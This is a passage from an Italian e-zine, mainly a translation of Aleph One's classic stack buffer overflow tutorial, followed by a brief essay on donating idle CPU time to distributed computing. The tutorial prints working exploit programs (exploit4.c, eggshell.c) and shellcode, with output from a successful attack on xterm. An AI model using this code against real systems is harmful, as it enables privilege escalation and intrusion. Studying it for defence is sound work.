int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------
Una buona scelta per la dimensione del nostro buffer e' di circa 100
byte in piu' del buffer che stiamo provando ad exploittare. Cosi' il
nostro codice si trovera' alla fine del buffer che stiamo provando ad
exploittare, dando molto spazio alle NOP ma sovrascrivendo l' indirizzo
di ritorno con l' indirizzo che abbiamo indovinato. Il buffer che
stiamo provando ad exploittare e' lungo 512 byte, cosi' noi useremo 612.
Proviamo ad exploittare il nostro programma di test con il nostro nuovo
exploit:
------------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------
Wow! Al primo tentativo! Questa modifica ha incrementato notevolmente
le nostre possibilita' di successo. Proviamolo in un caso reale di
buffer
overflow. Useremo per la nostra dimostrazione il buffer overflow delle
librerie Xt. Per il nostro esempio useremo xterm (tutti i programmi che
sfruttano le librerie Xt sono vulnerabili). Devi eseguire un server X
e permettere connessioni da localhost ad esso. Setta la tue variabili
DISPLAY di conseguenza.
------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "^1FF
?1@?/bin/sh????????????
????????????????
????????????????
????????????????
????????????????
????????????????
????????????????
^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "^1FF
?1@?/bin/sh?H?H?H?H?H?H?H?H?H?H?H?
????????????????
????????????????
????????????????
????????????????
????????????????
????????????????
Warning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "^1FF
?1@?/bin/sh?T?T?T?T?T?T?T?T?T?T?T?
????????????????
????????????????
????????????????
????????????????
????????????????
????????????????
Warning: some arguments in previous message were lost
bash$
------------------------------------------------------------------------
Trovato! Meno di una dozzina di prove e abbiamo trovato il numero
giusto. Se xterm era suiddato root avevamo una shell root.
Overflows Di Piccoli Buffer
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Ci saranno volte che il buffer da overfloware sara' talmente piccolo
che non ci entrera' neanche lo shellcode, che sovrascrivera' l'
indirizzo di ritorno con instruzioni invece che con l' indirizzo del
nostro codice, oppure che le NOP che potremo mettere saranno talmente
poche che le nostre possibilita' di indovinare il loro indirizzo saranno
minuscole. Per ottenere una shell da questi buffer dobbiamo usare un
altro metodo. Questo particolare approccio funziona solo se abbiamo
accesso alle variabili di ambiente del programma.
Quello che dobbiamo fare e' piazzare il nostro shellcode in una
variabile d' ambiente, e quindi overfloware il buffer con l' indirizzo
di questa variabile in memoria. Questo metodo inoltre ci da la
possibilita' di decidere a piacere le dimensioni della variabile d'
ambiente che contiene il nostro shellcode.
Le variabili di ambiente sono messe sulla cima dello stack quando il
programma parte, ogni modifica di setenv() e' allocata da un altra parte.
Lo stack all' inizio sara':
<strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>
Il nostro nuovo programma prendera' una variabile extra, la grandezza
della variabile contenente lo shellcode e le NOP. Il nostro nuovo
exploit sara':
exploit4.c
------------------------------------------------------------------------
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------
Proviamo il nostro nuovo exploit con il nostro programma di test
vulnerabile:
------------------------------------------------------------------------
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
------------------------------------------------------------------------
Funziona. Ora proviamolo con xterm:
------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
????????????????
????????????????
????????????????
????????????????
????????????????
????????????????
Warning: some arguments in previous message were lost
$
------------------------------------------------------------------------
Al primo tentativo! Ha certamente incrementato le nostre probabilita'.
Dipendentemente da quanti dati di ambiente l' exploit ha confrontato con
il programma che stai provando ad exploittare, l' indirizzo puo' essere
troppo basso o troppo alto. Prova sia con offset negativi che positivi.
Trovare Buffer Overflows
~~~~~~~~~~~~~~~~~~~~~~~~
Come detto prima, si ha un buffer overflow quando si cerca di mettere
in un buffer piu' dati di quanti ne possa contenere. Dato che il C non
ha nessun controllo dei limiti built-in, gli overflow spesso si
manifestano scrivendo oltre la fine di un array di caratteri. La
libreria standard del C fornisce delle funzioni per copiare e appendere
stringhe, che non fanno controlli sui limiti.
Tra queste: strcat(), strcpy(), sprintf(), e vsprintf(). Queste funzioni
lavorano su stringhe terminate dal carattere null, e non controllano
overflow sulla stringa ricevuta. La funizone gets() legge una riga da
stdin e la mette in un buffer finche' non incontra il carattere newline
o EOF. Non esegue nessun controllo sull' overflow del buffer. La
famiglia di funzioni scanf() possono essere un problema se stai
lavorando su una sequenza di caratteri che non sono spazio (%s), o
lavorando su una non-vuota sequenza di caratteri da un set specificato
(%[]), e l' array puntato dal puntatore char, non e' grande abbastanza
per accettare l' intera sequenza di caratteri, e non hai definito la
lunghezza massima. Se l' obiettivo di una di queste funzioni e' un
buffer di dimensioni statiche, e l' altro argomento deriva almeno in
parte dall' input dell' utente c'e' una buona possibilita' che puoi
exploittare un buffer overflow.
Un altro costrutto di programmazione che possiamo trovare e' l' uso
di un ciclo while per leggere un carattere per volta da stdin o da un
file fino a newline, EOF o qualche altro delimitarore e metterlo in un
buffer. Questo tipo di costrutto usa di solito una di queste funzioni:
getc(), fgetc(), o getchar(). Se nel ciclo while non c'e' un controllo
esplicito per gli overflowpossiamo facilmente exploittare il programma.
Per concludere, grep(1) e' un tuo amico. I sorgenti dei sistemi
operativi liberi e delle loro utilities sono disponibili. Questo fatto
puo' diventare abbastanza interessante sapendo che molte utilities per
sistemi operativi commerciali derivano dai sorgenti delle stesse libere.
Usa i sorgenti.
Appendice A - Shellcode per Sistemi Operativi/Architetture Differenti
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
i386/Linux
------------------------------------------------------------------------
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\"
------------------------------------------------------------------------
SPARC/Solaris
------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
------------------------------------------------------------------------
SPARC/SunOS
------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
------------------------------------------------------------------------
Appendice B - Programmi Generici Di Buffer Overflow
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
shellcode.h
------------------------------------------------------------------------
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
------------------------------------------------------------------------
eggshell.c
------------------------------------------------------------------------
/*
* eggshell v1.0
*
* Aleph One / aleph1@underground.org
*/
#include
#include
#include "shellcode.h"
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg.\n");
exit(0);
}
if (!(bof = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE;
i += NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
bof[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a ] [-b ] [-e ] [-o ]\n");
}
------------------------------------------------------------------------
NdT: Se non vi piace la traduzione o vi volete cimentare nell' impresa
potete prelevare il testo originale apparso su phrack n. 49.
Se volete contattarmi: eafkuor@email.it
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0B] OQ20040308[0B] ::
:: [0x0A][SHUTD0WN] PER UN PUGN0 Di RiS0RSE [binduck] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Ho scritto queste poche righe per esporre un problema che sussiste
ma che di solito nessuno si preoccupa di affrontare, il problema
delle risorse che in tutto il mondo vanno quotidianamente sprecate,
tempo processore letteralmente bruciato.
Molte persone, ragazzi, anche appassionati di informatica, hanno il
timore che il loro amato processore Pentium X [con X->inf] prenda
fuoco, per il troppo lavoro, temono che si possa rovinare perche'
svolge calcoli "complessi" o magari perche' fa girare per troppo tempo
l'ultimo gioco strafico...
Beh...un processore non si volatilizza se ha sopra un bel dissipatore
adatto alla sua frequenza e a raffreddarlo bene quando raggiunge una
certa temperatura...e credetemi, non esiste computer che non presenti
delle buone ventole e dei buoni dissipatori...
Anche chi ha provato la necessita' di aumentare la capacita' della CPU,
overclockandolo fino all'impossibile avra' avuto certamente l'accortezza
di aggiornare le proprieta' dissipative del proprio sistema
refrigerante.
La percentuale di utilizzo della CPU sottratta al 100% ci restituisce
la percentuale di Idle; quando noi per esempio scarichiamo files da
internet e non eseguiamo nessun'altra operazione il processore rimane
stazionario su circa 99.9% di Idle; lo stesso vale per quando chattiamo
o per quando scriviamo [a seconda dell'editor la percentuale di Idle
potrebbe diminuire anche di 1% - 3%],o persino per quando programmiamo,
infatti il tempo di compilazione e' di solito molto breve.
Bene, tutto il tempo che il processore passa in Idle, e' tutto tempo
sprecato, e' tutto tempo in cui potrebbe eseguire svolgere calcoli;
inoltre e' bene ricordare che in questo tempo il processore assorbe
lo stesso quantitativo di corrente...
Esistono molti algoritmi che necessitano di una quantita' di risorse
hardware molto alta, risorse che singolarmante non sono disponibili
ma che sono, spesso, raggiungilibi unendo le proprie risorse a quelle
di altri utenti.
La ricerca scientifica ha una necessita' immensa di risorse hardware
per eseguire calcoli complessi che impiegherebbero molto tempo
ad essere terminati anche su cluster composti da decine di unita'.
Dobbiamo molto alla scienza, soprattutto la scienza matematica,
che ha fatto passi da gigante sin dal passato grazie a grandi geni
che hanno messo a disposizione le loro acutissime menti per risolvere
problemi che richiedevano allora anni di studi e calcoli.
Ora noi abbiamo la possibilita' di svolegere in frazioni di secondo
calcoli che solo settantanni fa avrebbero richiesto anni e anni di
lavoro; ebbene, dobbiamo molto alla scienza.
Quindi quando vi trovate di fronte a una richiesta di aiuto per
svolgere calcolo distribuito non tiratevi indietro; a voi non costa
nulla, e aiuterete chi ha sempre aiutato voi, anche se voi non ve
ne siete mai accorti.
P.S.Inoltre d'inverno e' apprezzabile in calore del processore, e
d'estate si possono aprire le finestre :).
Paolo Ardoino AKA binduck <binduck(at)coder<dot>hu>
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
